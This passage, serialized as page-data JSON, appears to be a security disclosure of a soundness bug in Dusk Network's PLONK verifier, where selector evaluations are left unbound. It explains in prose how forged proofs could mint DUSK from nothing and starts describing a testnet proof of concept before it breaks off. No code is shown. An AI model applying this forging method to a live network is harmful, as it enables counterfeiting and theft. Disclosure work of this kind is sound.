authorization",{"type":25,"tag":15386,"props":157821,"children":157822},{},[157823],{"type":30,"value":157824},"The prover knows the secret key controlling each input note",{"type":25,"tag":15354,"props":157826,"children":157827},{},[157828,157838],{"type":25,"tag":15386,"props":157829,"children":157830},{},[157831],{"type":25,"tag":83,"props":157832,"children":157835},{"href":157833,"rel":157834},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[9066],[157836],{"type":30,"value":157837},"Nullifier correctness",{"type":25,"tag":15386,"props":157839,"children":157840},{},[157841],{"type":30,"value":157842},"Each nullifier matches the corresponding note key and position",{"type":25,"tag":15354,"props":157844,"children":157845},{},[157846,157856],{"type":25,"tag":15386,"props":157847,"children":157848},{},[157849],{"type":25,"tag":83,"props":157850,"children":157853},{"href":157851,"rel":157852},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[9066],[157854],{"type":30,"value":157855},"Output value commitment correctness",{"type":25,"tag":15386,"props":157857,"children":157858},{},[157859],{"type":30,"value":157860},"Each public output commitment matches the secret output value and blinder",{"type":25,"tag":15354,"props":157862,"children":157863},{},[157864,157874],{"type":25,"tag":15386,"props":157865,"children":157866},{},[157867],{"type":25,"tag":83,"props":157868,"children":157871},{"href":157869,"rel":157870},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[9066],[157872],{"type":30,"value":157873},"Balance integrity",{"type":25,"tag":15386,"props":157875,"children":157876},{},[157877],{"type":25,"tag":264,"props":157878,"children":157880},{"className":157879},[267,268],[157881],{"type":25,"tag":271,"props":157882,"children":157884},{"className":157883},[274],[157885],{"type":25,"tag":271,"props":157886,"children":157888},{"className":157887,"ariaHidden":280},[279],[157889,157929,157969,158001],{"type":25,"tag":271,"props":157890,"children":157892},{"className":157891},[285],[157893,157897,157902,157906,157916,157920,157925],{"type":25,"tag":271,"props":157894,"children":157896},{"className":157895,"style":375},[290],[],{"type":25,"tag":271,"props":157898,"children":157900},{"className":157899,"style":1089},[1082,1087,1088],[157901],{"type":30,"value":1092},{"type":25,"tag":271,"props":157903,"children":157905},{"className":157904,"style":411},[337],[],{"type":25,"tag":271,"props":157907,"children":157909},{"className":157908},[296,30],[157910],{"type":25,"tag":271,"props":157911,"children":157913},{"className":157912},[296],[157914],{"type":30,"value":157915},"inputs",{"type":25,"tag":271,"props":157917,"children":157919},{"className":157918,"style":338},[337],[],{"type":25,"tag":271,"props":157921,"children":157923},{"className":157922},[356],[157924],{"type":30,"value":1065},{"type":25,"tag":271,"props":157926,"children":157928},{"className":157927,"style":338},[337],[],{"type":25,"tag":271,"props":157930,"children":157932},{"className":157931},[285],[157933,157937,157942,157946,157956,157960,157965],{"type":25,"tag":271,"props":157934,"children":157936},{"className":157935,"style":375},[290],[],{"type":25,"tag":271,"props":157938,"children":157940},{"className":157939,"style":1089},[1082,1087,1088],[157941],{"type":30,"value":1092},{"type":25,"tag":271,"props":157943,"children":157945},{"className":157944,"style":411},[337],[],{"type":25,"tag":271,"props":157947,"children":157949},{"className":157948},[296,30],[157950],{"type":25,"tag":271,"props":157951,"children":157953},{"className":157952},[296],[157954],{"type":30,"value":157955},"outputs",{"type":25,"tag":271,"props":157957,"children":157959},{"className":157958,"style":2066},[337],[],{"type":25,"tag":271,"props":157961,"children":157963},{"className":157962},[2071],[157964],{"type":30,"value":2074},{"type":25,"tag":271,"props":157966,"children":157968},{"className":157967,"style":2066},[337],[],{"type":25,"tag":271,"props":157970,"children":157972},{"className":157971},[285],[157973,157978,157988,157992,157997],{"type":25,"tag":271,"props":157974,"children":157977},{"className":157975,"style":157976},[290],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":25,"tag":271,"props":157979,"children":157981},{"className":157980},[296,30],[157982],{"type":25,"tag":271,"props":157983,"children":157985},{"className":157984},[296],[157986],{"type":30,"value":157987},"fee",{"type":25,"tag":271,"props":157989,"children":157991},{"className":157990,"style":2066},[337],[],{"type":25,"tag":271,"props":157993,"children":157995},{"className":157994},[2071],[157996],{"type":30,"value":2074},{"type":25,"tag":271,"props":157998,"children":158000},{"className":157999,"style":2066},[337],[],{"type":25,"tag":271,"props":158002,"children":158004},{"className":158003},[285],[158005,158009],{"type":25,"tag":271,"props":158006,"children":158008},{"className":158007,"style":7398},[290],[],{"type":25,"tag":271,"props":158010,"children":158012},{"className":158011},[296,30],[158013],{"type":25,"tag":271,"props":158014,"children":158016},{"className":158015},[296],[158017],{"type":30,"value":75078},{"type":25,"tag":15354,"props":158019,"children":158020},{},[158021,158038],{"type":25,"tag":15386,"props":158022,"children":158023},{},[158024,158031,158032],{"type":25,"tag":83,"props":158025,"children":158028},{"href":158026,"rel":158027},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[9066],[158029],{"type":30,"value":158030},"Range checks on inputs",{"type":30,"value":12218},{"type":25,"tag":83,"props":158033,"children":158036},{"href":158034,"rel":158035},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[9066],[158037],{"type":30,"value":157955},{"type":25,"tag":15386,"props":158039,"children":158040},{},[158041,158043],{"type":30,"value":158042},"All note values lie in ",{"type":25,"tag":264,"props":158044,"children":158046},{"className":158045},[267,268],[158047],{"type":25,"tag":271,"props":158048,"children":158050},{"className":158049},[274],[158051],{"type":25,"tag":271,"props":158052,"children":158054},{"className":158053,"ariaHidden":280},[279],[158055,158140],{"type":25,"tag":271,"props":158056,"children":158058},{"className":158057},[285],[158059,158063,158068,158073,158078,158082,158127,158131,158136],{"type":25,"tag":271,"props":158060,"children":158062},{"className":158061,"style":7656},[290],[],{"type":25,"tag":271,"props":158064,"children":158066},{"className":158065},[391],[158067],{"type":30,"value":5604},{"type":25,"tag":271,"props":158069,"children":158071},{"className":158070},[296],[158072],{"type":30,"value":953},{"type":25,"tag":271,"props":158074,"children":158076},{"className":158075},[404],[158077],{"type":30,"value":407},{"type":25,"tag":271,"props":158079,"children":158081},{"className":158080,"style":411},[337],[],{"type":25,"tag":271,"props":158083,"children":158085},{"className":158084},[296],[158086,158091],{"type":25,"tag":271,"props":158087,"children":158089},{"className":158088},[296],[158090],{"type":30,"value":1326},{"type":25,"tag":271,"props":158092,"children":158094},{"className":158093},[982],[158095],{"type":25,"tag":271,"props":158096,"children":158098},{"className":158097},[987],[158099],{"type":25,"tag":271,"props":158100,"children":158102},{"className":158101},[992],[158103],{"type":25,"tag":271,"props":158104,"children":158106},{"className":158105,"style":7693},[997],[158107],{"type":25,"tag":271,"props":158108,"children":158109},{"style":1002},[158110,158114],{"type":25,"tag":271,"props":158111,"children":158113},{"className":158112,"style":1008},[1007],[],{"type":25,"tag":271,"props":158115,"children":158117},{"className":158116},[1013,1014,1015,1016],[158118],{"type":25,"tag":271,"props":158119,"children":158121},{"className":158120},[296,1016],[158122],{"type":25,"tag":271,"props":158123,"children":158125},{"className":158124},[296,1016],[158126],{"type":30,"value":42535},{"type":25,"tag":271,"props":158128,"children":158130},{"className":158129,"style":2066},[337],[],{"type":25,"tag":271,"props":158132,"children":158134},{"className":158133},[2071],[158135],{"type":30,"value":2774},{"type":25,"tag":271,"props":158137,"children":158139},{"className":158138,"style":2066},[337],[],{"type":25,"tag":271,"props":158141,"children":158143},{"className":158142},[285],[158144,158148,158153],{"type":25,"tag":271,"props":158145,"children":158147},{"className":158146,"style":375},[290],[],{"type":25,"tag":271,"props":158149,"children":158151},{"className":158150},[296],[158152],{"type":30,"value":968},{"type":25,"tag":271,"props":158154,"children":158156},{"className":158155},[437],[158157],{"type":30,"value":5630},{"type":25,"tag":15354,"props":158159,"children":158160},{},[158161,158171],{"type":25,"tag":15386,"props":158162,"children":158163},{},[158164],{"type":25,"tag":83,"props":158165,"children":158168},{"href":158166,"rel":158167},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[9066],[158169],{"type":30,"value":158170},"Sender-authorship signatures",{"type":25,"tag":15386,"props":158172,"children":158173},{},[158174],{"type":30,"value":158175},"The transaction payload is signed by the sender's two signing key components",{"type":25,"tag":15354,"props":158177,"children":158178},{},[158179,158189],{"type":25,"tag":15386,"props":158180,"children":158181},{},[158182],{"type":25,"tag":83,"props":158183,"children":158186},{"href":158184,"rel":158185},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[9066],[158187],{"type":30,"value":158188},"Sender encryption correctness",{"type":25,"tag":15386,"props":158190,"children":158191},{},[158192],{"type":30,"value":158193},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":25,"tag":26,"props":158195,"children":158196},{},[158197,158199,158205,158207,158216],{"type":30,"value":158198},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":25,"tag":264,"props":158200,"children":158202},{"className":158201},[],[158203],{"type":30,"value":158204},"tx.public_inputs()",{"type":30,"value":158206}," via ",{"type":25,"tag":83,"props":158208,"children":158210},{"href":157646,"rel":158209},[9066],[158211],{"type":25,"tag":264,"props":158212,"children":158214},{"className":158213},[],[158215],{"type":30,"value":157654},{"type":30,"value":1860},{"type":25,"tag":26,"props":158218,"children":158219},{},[158220],{"type":30,"value":158221},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":25,"tag":92,"props":158223,"children":158224},{},[],{"type":25,"tag":96,"props":158226,"children":158227},{"id":103413},[158228],{"type":30,"value":158229},"The bug",{"type":25,"tag":26,"props":158231,"children":158232},{},[158233,158235,158242,158244,158255],{"type":30,"value":158234},"In the ",{"type":25,"tag":83,"props":158236,"children":158239},{"href":158237,"rel":158238},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[9066],[158240],{"type":30,"value":158241},"PLONK verification",{"type":30,"value":158243},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":25,"tag":83,"props":158245,"children":158248},{"href":158246,"rel":158247},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[9066],[158249],{"type":25,"tag":264,"props":158250,"children":158252},{"className":158251},[],[158253],{"type":30,"value":158254},"E_evals",{"type":30,"value":158256},") are:",{"type":25,"tag":108,"props":158258,"children":158259},{},[158260,158292,158317,158342],{"type":25,"tag":112,"props":158261,"children":158262},{},[158263,158269,158270,158276,158277,158283,158284,158290],{"type":25,"tag":264,"props":158264,"children":158266},{"className":158265},[],[158267],{"type":30,"value":158268},"a_eval",{"type":30,"value":44},{"type":25,"tag":264,"props":158271,"children":158273},{"className":158272},[],[158274],{"type":30,"value":158275},"b_eval",{"type":30,"value":44},{"type":25,"tag":264,"props":158278,"children":158280},{"className":158279},[],[158281],{"type":30,"value":158282},"c_eval",{"type":30,"value":44},{"type":25,"tag":264,"props":158285,"children":158287},{"className":158286},[],[158288],{"type":30,"value":158289},"d_eval",{"type":30,"value":158291}," (witness)",{"type":25,"tag":112,"props":158293,"children":158294},{},[158295,158301,158302,158308,158309,158315],{"type":25,"tag":264,"props":158296,"children":158298},{"className":158297},[],[158299],{"type":30,"value":158300},"s_sigma_1_eval",{"type":30,"value":44},{"type":25,"tag":264,"props":158303,"children":158305},{"className":158304},[],[158306],{"type":30,"value":158307},"s_sigma_2_eval",{"type":30,"value":44},{"type":25,"tag":264,"props":158310,"children":158312},{"className":158311},[],[158313],{"type":30,"value":158314},"s_sigma_3_eval",{"type":30,"value":158316}," (permutation)",{"type":25,"tag":112,"props":158318,"children":158319},{},[158320,158326,158327,158333,158334,158340],{"type":25,"tag":264,"props":158321,"children":158323},{"className":158322},[],[158324],{"type":30,"value":158325},"a_w_eval",{"type":30,"value":44},{"type":25,"tag":264,"props":158328,"children":158330},{"className":158329},[],[158331],{"type":30,"value":158332},"b_w_eval",{"type":30,"value":44},{"type":25,"tag":264,"props":158335,"children":158337},{"className":158336},[],[158338],{"type":30,"value":158339},"d_w_eval",{"type":30,"value":158341}," (shifted witness)",{"type":25,"tag":112,"props":158343,"children":158344},{},[158345,158351],{"type":25,"tag":264,"props":158346,"children":158348},{"className":158347},[],[158349],{"type":30,"value":158350},"z_eval",{"type":30,"value":158352}," (permutation accumulator)",{"type":25,"tag":26,"props":158354,"children":158355},{},[158356,158358,158362],{"type":30,"value":158357},"But the following selector evaluations were ",{"type":25,"tag":10281,"props":158359,"children":158360},{},[158361],{"type":30,"value":607},{"type":30,"value":158363}," included:",{"type":25,"tag":108,"props":158365,"children":158366},{},[158367,158378,158389,158400],{"type":25,"tag":112,"props":158368,"children":158369},{},[158370,158376],{"type":25,"tag":264,"props":158371,"children":158373},{"className":158372},[],[158374],{"type":30,"value":158375},"q_arith_eval",{"type":30,"value":158377}," (arithmetic selector)",{"type":25,"tag":112,"props":158379,"children":158380},{},[158381,158387],{"type":25,"tag":264,"props":158382,"children":158384},{"className":158383},[],[158385],{"type":30,"value":158386},"q_c_eval",{"type":30,"value":158388}," (constant selector)",{"type":25,"tag":112,"props":158390,"children":158391},{},[158392,158398],{"type":25,"tag":264,"props":158393,"children":158395},{"className":158394},[],[158396],{"type":30,"value":158397},"q_l_eval",{"type":30,"value":158399}," (left selector)",{"type":25,"tag":112,"props":158401,"children":158402},{},[158403,158409],{"type":25,"tag":264,"props":158404,"children":158406},{"className":158405},[],[158407],{"type":30,"value":158408},"q_r_eval",{"type":30,"value":158410}," (right selector)",{"type":25,"tag":26,"props":158412,"children":158413},{},[158414,158416,158423,158424,158431,158432,158439,158440,158447],{"type":30,"value":158415},"The prover places four selector evaluations in the proof struct. The verifier absorbs them into the transcript, and the widget verifier code uses them directly in the linearization check (",{"type":25,"tag":83,"props":158417,"children":158420},{"href":158418,"rel":158419},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/linearization_poly.rs#L33-L83",[9066],[158421],{"type":30,"value":158422},"proof struct",{"type":30,"value":44},{"type":25,"tag":83,"props":158425,"children":158428},{"href":158426,"rel":158427},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L255-L286",[9066],[158429],{"type":30,"value":158430},"transcript absorption",{"type":30,"value":44},{"type":25,"tag":83,"props":158433,"children":158436},{"href":158434,"rel":158435},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/arithmetic/verifierkey.rs#L92-L118",[9066],[158437],{"type":30,"value":158438},"arithmetic widget",{"type":30,"value":44},{"type":25,"tag":83,"props":158441,"children":158444},{"href":158442,"rel":158443},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/ecc/scalar_mul/fixed_base/verifierkey.rs#L46-L102",[9066],[158445],{"type":30,"value":158446},"fixed-base ECC widget",{"type":30,"value":158448},"). But they are never checked against the corresponding selector commitments in the verifier key, even though those commitments already exist. The prover sends whatever values it wants and the verifier trusts them.",{"type":25,"tag":26,"props":158450,"children":158451},{},[158452,158454,158458],{"type":30,"value":158453},"The easiest way to see why these four omissions are special is to contrast them with two nearby cases that are ",{"type":25,"tag":10281,"props":158455,"children":158456},{},[158457],{"type":30,"value":607},{"type":30,"value":158459}," bugs:",{"type":25,"tag":108,"props":158461,"children":158462},{},[158463,158603],{"type":25,"tag":112,"props":158464,"children":158465},{},[158466,158468,158513,158515,158521,158523,158528,158529,158534,158535,158540,158542,158548,158550,158595,158597,158602],{"type":30,"value":158467},"There is no prover-supplied ",{"type":25,"tag":264,"props":158469,"children":158471},{"className":158470},[267,268],[158472],{"type":25,"tag":271,"props":158473,"children":158475},{"className":158474},[274],[158476],{"type":25,"tag":271,"props":158477,"children":158479},{"className":158478,"ariaHidden":280},[279],[158480],{"type":25,"tag":271,"props":158481,"children":158483},{"className":158482},[285],[158484,158488,158493,158498,158503,158508],{"type":25,"tag":271,"props":158485,"children":158487},{"className":158486,"style":375},[290],[],{"type":25,"tag":271,"props":158489,"children":158491},{"className":158490},[296,297],[158492],{"type":30,"value":13243},{"type":25,"tag":271,"props":158494,"children":158496},{"className":158495},[391],[158497],{"type":30,"value":394},{"type":25,"tag":271,"props":158499,"children":158501},{"className":158500,"style":5889},[296,297],[158502],{"type":30,"value":5892},{"type":25,"tag":271,"props":158504,"children":158506},{"className":158505,"style":1555},[296,297],[158507],{"type":30,"value":157177},{"type":25,"tag":271,"props":158509,"children":158511},{"className":158510},[437],[158512],{"type":30,"value":440},{"type":30,"value":158514}," field at all. ",{"type":25,"tag":264,"props":158516,"children":158518},{"className":158517},[],[158519],{"type":30,"value":158520},"ProofEvaluations",{"type":30,"value":158522}," contains ",{"type":25,"tag":264,"props":158524,"children":158526},{"className":158525},[],[158527],{"type":30,"value":158325},{"type":30,"value":44},{"type":25,"tag":264,"props":158530,"children":158532},{"className":158531},[],[158533],{"type":30,"value":158332},{"type":30,"value":69},{"type":25,"tag":264,"props":158536,"children":158538},{"className":158537},[],[158539],{"type":30,"value":158339},{"type":30,"value":158541},", but no ",{"type":25,"tag":264,"props":158543,"children":158545},{"className":158544},[],[158546],{"type":30,"value":158547},"c_w_eval",{"type":30,"value":158549},", so the verifier never consumes an unbound ",{"type":25,"tag":264,"props":158551,"children":158553},{"className":158552},[267,268],[158554],{"type":25,"tag":271,"props":158555,"children":158557},{"className":158556},[274],[158558],{"type":25,"tag":271,"props":158559,"children":158561},{"className":158560,"ariaHidden":280},[279],[158562],{"type":25,"tag":271,"props":158563,"children":158565},{"className":158564},[285],[158566,158570,158575,158580,158585,158590],{"type":25,"tag":271,"props":158567,"children":158569},{"className":158568,"style":375},[290],[],{"type":25,"tag":271,"props":158571,"children":158573},{"className":158572},[296,297],[158574],{"type":30,"value":13243},{"type":25,"tag":271,"props":158576,"children":158578},{"className":158577},[391],[158579],{"type":30,"value":394},{"type":25,"tag":271,"props":158581,"children":158583},{"className":158582,"style":5889},[296,297],[158584],{"type":30,"value":5892},{"type":25,"tag":271,"props":158586,"children":158588},{"className":158587,"style":1555},[296,297],[158589],{"type":30,"value":157177},{"type":25,"tag":271,"props":158591,"children":158593},{"className":158592},[437],[158594],{"type":30,"value":440},{"type":30,"value":158596}," claim (",{"type":25,"tag":83,"props":158598,"children":158600},{"href":158418,"rel":158599},[9066],[158601],{"type":30,"value":158422},{"type":30,"value":13677},{"type":25,"tag":112,"props":158604,"children":158605},{},[158606,158608,158695,158697,158789,158790,158797],{"type":30,"value":158607},"There is a fourth permutation commitment ",{"type":25,"tag":264,"props":158609,"children":158611},{"className":158610},[267,268],[158612],{"type":25,"tag":271,"props":158613,"children":158615},{"className":158614},[274],[158616],{"type":25,"tag":271,"props":158617,"children":158619},{"className":158618,"ariaHidden":280},[279],[158620],{"type":25,"tag":271,"props":158621,"children":158623},{"className":158622},[285],[158624,158628,158633,158690],{"type":25,"tag":271,"props":158625,"children":158627},{"className":158626,"style":375},[290],[],{"type":25,"tag":271,"props":158629,"children":158631},{"className":158630},[391],[158632],{"type":30,"value":5604},{"type":25,"tag":271,"props":158634,"children":158636},{"className":158635},[296],[158637,158642],{"type":25,"tag":271,"props":158638,"children":158640},{"className":158639,"style":1555},[296,297],[158641],{"type":30,"value":157072},{"type":25,"tag":271,"props":158643,"children":158645},{"className":158644},[982],[158646],{"type":25,"tag":271,"props":158647,"children":158649},{"className":158648},[987,1100],[158650,158679],{"type":25,"tag":271,"props":158651,"children":158653},{"className":158652},[992],[158654,158674],{"type":25,"tag":271,"props":158655,"children":158657},{"className":158656,"style":1588},[997],[158658],{"type":25,"tag":271,"props":158659,"children":158660},{"style":1922},[158661,158665],{"type":25,"tag":271,"props":158662,"children":158664},{"className":158663,"style":1008},[1007],[],{"type":25,"tag":271,"props":158666,"children":158668},{"className":158667},[1013,1014,1015,1016],[158669],{"type":25,"tag":271,"props":158670,"children":158672},{"className":158671},[296,1016],[158673],{"type":30,"value":30650},{"type":25,"tag":271,"props":158675,"children":158677},{"className":158676},[1177],[158678],{"type":30,"value":1180},{"type":25,"tag":271,"props":158680,"children":158682},{"className":158681},[992],[158683],{"type":25,"tag":271,"props":158684,"children":158686},{"className":158685,"style":1619},[997],[158687],{"type":25,"tag":271,"props":158688,"children":158689},{},[],{"type":25,"tag":271,"props":158691,"children":158693},{"className":158692},[437],[158694],{"type":30,"value":5630},{"type":30,"value":158696}," in the verifier key, but the verifier uses the commitment itself inside the linearization MSM rather than trusting a prover-supplied scalar ",{"type":25,"tag":264,"props":158698,"children":158700},{"className":158699},[267,268],[158701],{"type":25,"tag":271,"props":158702,"children":158704},{"className":158703},[274],[158705],{"type":25,"tag":271,"props":158706,"children":158708},{"className":158707,"ariaHidden":280},[279],[158709],{"type":25,"tag":271,"props":158710,"children":158712},{"className":158711},[285],[158713,158717,158774,158779,158784],{"type":25,"tag":271,"props":158714,"children":158716},{"className":158715,"style":375},[290],[],{"type":25,"tag":271,"props":158718,"children":158720},{"className":158719},[296],[158721,158726],{"type":25,"tag":271,"props":158722,"children":158724},{"className":158723,"style":1555},[296,297],[158725],{"type":30,"value":157072},{"type":25,"tag":271,"props":158727,"children":158729},{"className":158728},[982],[158730],{"type":25,"tag":271,"props":158731,"children":158733},{"className":158732},[987,1100],[158734,158763],{"type":25,"tag":271,"props":158735,"children":158737},{"className":158736},[992],[158738,158758],{"type":25,"tag":271,"props":158739,"children":158741},{"className":158740,"style":1588},[997],[158742],{"type":25,"tag":271,"props":158743,"children":158744},{"style":1922},[158745,158749],{"type":25,"tag":271,"props":158746,"children":158748},{"className":158747,"style":1008},[1007],[],{"type":25,"tag":271,"props":158750,"children":158752},{"className":158751},[1013,1014,1015,1016],[158753],{"type":25,"tag":271,"props":158754,"children":158756},{"className":158755},[296,1016],[158757],{"type":30,"value":30650},{"type":25,"tag":271,"props":158759,"children":158761},{"className":158760},[1177],[158762],{"type":30,"value":1180},{"type":25,"tag":271,"props":158764,"children":158766},{"className":158765},[992],[158767],{"type":25,"tag":271,"props":158768,"children":158770},{"className":158769,"style":1619},[997],[158771],{"type":25,"tag":271,"props":158772,"children":158773},{},[],{"type":25,"tag":271,"props":158775,"children":158777},{"className":158776},[391],[158778],{"type":30,"value":394},{"type":25,"tag":271,"props":158780,"children":158782},{"className":158781,"style":5889},[296,297],[158783],{"type":30,"value":5892},{"type":25,"tag":271,"props":158785,"children":158787},{"className":158786},[437],[158788],{"type":30,"value":440},{"type":30,"value":16213},{"type":25,"tag":83,"props":158791,"children":158794},{"href":158792,"rel":158793},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/widget/permutation/verifierkey.rs#L24-L104",[9066],[158795],{"type":30,"value":158796},"permutation verifier key",{"type":30,"value":13677},{"type":25,"tag":26,"props":158799,"children":158800},{},[158801,158803,158813],{"type":30,"value":158802},"The four selector evaluations fit neither of these safe patterns: they are prover-supplied scalars, they are used directly by verifier code, and they never appear in ",{"type":25,"tag":83,"props":158804,"children":158807},{"href":158805,"rel":158806},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L361-L373",[9066],[158808],{"type":25,"tag":264,"props":158809,"children":158811},{"className":158810},[],[158812],{"type":30,"value":158254},{"type":30,"value":158814},", which leaves the master equation underconstrained.",{"type":25,"tag":26,"props":158816,"children":158817},{},[158818],{"type":25,"tag":698,"props":158819,"children":158822},{"alt":158820,"src":158821},"structural_trust_boundary","/posts/dusk-commitment-issues/structural_trust_boundary.svg",[],{"type":25,"tag":92,"props":158824,"children":158825},{},[],{"type":25,"tag":96,"props":158827,"children":158829},{"id":158828},"the-exploitation",[158830],{"type":30,"value":158831},"The exploitation",{"type":25,"tag":26,"props":158833,"children":158834},{},[158835],{"type":30,"value":158836},"Since the selector evaluations are free variables, the verification equation becomes a linear equation the prover can solve after the fact.",{"type":25,"tag":26,"props":158838,"children":158839},{},[158840,158842,158848,158850,158855,158857,158862,158864,158870],{"type":30,"value":158841},"The prover commits to arbitrary witness polynomials, without needing a valid witness, and arbitrary quotient polynomials, where small random linear polynomials suffice. It follows the honest protocol through all commitment rounds, deriving the same challenges the verifier will. After seeing ",{"type":25,"tag":264,"props":158843,"children":158845},{"className":158844},[],[158846],{"type":30,"value":158847},"z_challenge",{"type":30,"value":158849},", it computes what the linearization polynomial ",{"type":25,"tag":10281,"props":158851,"children":158852},{},[158853],{"type":30,"value":158854},"should",{"type":30,"value":158856}," evaluate to for the pairing check to pass, then solves for ",{"type":25,"tag":264,"props":158858,"children":158860},{"className":158859},[],[158861],{"type":30,"value":158375},{"type":30,"value":158863},", the single free variable that makes the verification equation balance (setting ",{"type":25,"tag":264,"props":158865,"children":158867},{"className":158866},[],[158868],{"type":30,"value":158869},"q_c_eval = q_l_eval = q_r_eval = 0",{"type":30,"value":13677},{"type":25,"tag":26,"props":158872,"children":158873},{},[158874],{"type":25,"tag":698,"props":158875,"children":158878},{"alt":158876,"src":158877},"exploit_algebra","/posts/dusk-commitment-issues/exploit_algebra.svg",[],{"type":25,"tag":26,"props":158880,"children":158881},{},[158882,158884,158924,158926,158951,158953,158958],{"type":30,"value":158883},"To achieve this one may compute the linearization polynomial ",{"type":25,"tag":264,"props":158885,"children":158887},{"className":158886},[267,268],[158888],{"type":25,"tag":271,"props":158889,"children":158891},{"className":158890},[274],[158892],{"type":25,"tag":271,"props":158893,"children":158895},{"className":158894,"ariaHidden":280},[279],[158896],{"type":25,"tag":271,"props":158897,"children":158899},{"className":158898},[285],[158900,158904,158909,158914,158919],{"type":25,"tag":271,"props":158901,"children":158903},{"className":158902,"style":375},[290],[],{"type":25,"tag":271,"props":158905,"children":158907},{"className":158906,"style":2296},[296,297],[158908],{"type":30,"value":2299},{"type":25,"tag":271,"props":158910,"children":158912},{"className":158911},[391],[158913],{"type":30,"value":394},{"type":25,"tag":271,"props":158915,"children":158917},{"className":158916},[296,297],[158918],{"type":30,"value":1136},{"type":25,"tag":271,"props":158920,"children":158922},{"className":158921},[437],[158923],{"type":30,"value":440},{"type":30,"value":158925}," with all selectors set to zero, evaluating it at ",{"type":25,"tag":264,"props":158927,"children":158929},{"className":158928},[267,268],[158930],{"type":25,"tag":271,"props":158931,"children":158933},{"className":158932},[274],[158934],{"type":25,"tag":271,"props":158935,"children":158937},{"className":158936,"ariaHidden":280},[279],[158938],{"type":25,"tag":271,"props":158939,"children":158941},{"className":158940},[285],[158942,158946],{"type":25,"tag":271,"props":158943,"children":158945},{"className":158944,"style":3164},[290],[],{"type":25,"tag":271,"props":158947,"children":158949},{"className":158948,"style":5889},[296,297],[158950],{"type":30,"value":5892},{"type":30,"value":158952},", and comparing to the target value; the difference divided by the coefficient of ",{"type":25,"tag":264,"props":158954,"children":158956},{"className":158955},[],[158957],{"type":30,"value":158375},{"type":30,"value":158959}," gives the required value in a single field division.",{"type":25,"tag":92,"props":158961,"children":158962},{},[],{"type":25,"tag":96,"props":158964,"children":158966},{"id":158965},"impact-on-dusk-network",[158967],{"type":30,"value":158968},"Impact on Dusk Network",{"type":25,"tag":26,"props":158970,"children":158971},{},[158972,158974,158981],{"type":30,"value":158973},"PLONK is the sole gatekeeper for Phoenix-specific correctness claims: note membership, ownership, note commitments, sender-authorship, and balance integrity are encoded entirely in the circuit. Rusk does check other preconditions such as nullifier uniqueness before it verifies the proof (",{"type":25,"tag":83,"props":158975,"children":158978},{"href":158976,"rel":158977},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L153-L184",[9066],[158979],{"type":30,"value":158980},"preverify path",{"type":30,"value":158982},"), but for the claims inside the proof there is no secondary validation path. With forged proofs, an attacker could:",{"type":25,"tag":661,"props":158984,"children":158985},{},[158986,158991,158996],{"type":25,"tag":112,"props":158987,"children":158988},{},[158989],{"type":30,"value":158990},"Inflate the token supply by fabricating input notes that do not exist in the note tree, with arbitrary values. The forged proof convinces the network these notes are real, and the attacker mints DUSK out of nothing, ready to transfer to honest users or exchanges.",{"type":25,"tag":112,"props":158992,"children":158993},{},[158994],{"type":30,"value":158995},"Forge spends that bypass the ownership, membership, and balance checks that normally make a Phoenix input note valid.",{"type":25,"tag":112,"props":158997,"children":158998},{},[158999],{"type":30,"value":159000},"Move forged shielded funds through honest wallets, because once a forged Phoenix transaction is accepted, the resulting shielded outputs are not distinguishable from legitimate Phoenix outputs at the protocol level.",{"type":25,"tag":26,"props":159002,"children":159003},{},[159004],{"type":30,"value":159005},"We demonstrated this with a full end-to-end proof-of-concept on a local Dusk testnet:",{"type":25,"tag":661,"props":159007,"children":159008},{},[159009,159014,159024,159036,159041],{"type":25,"tag":112,"props":159010,"children":159011},{},[159012],{"type":30,"value":159013},"Set up a single honest Rusk node and create two wallets (honest and malicious), both with balance 0",{"type":25,"tag":112,"props":159015,"children":159016},{},[159017,159019],{"type":30,"value":159018},"The malicious wallet forges a PLONK proof to create ",{"type":25,"tag":38,"props":159020,"children":159021},{},[159022],{"type":30,"value":159023},"2000 DUSK from nothing",{"type":25,"tag":112,"props":159025,"children":159026},{},[159027,159029,159034],{"type":30,"value":159028},"The malicious wallet transfers ",{"type":25,"tag":38,"props":159030,"children":159031},{},[159032],{"type":30,"value":159033},"1337 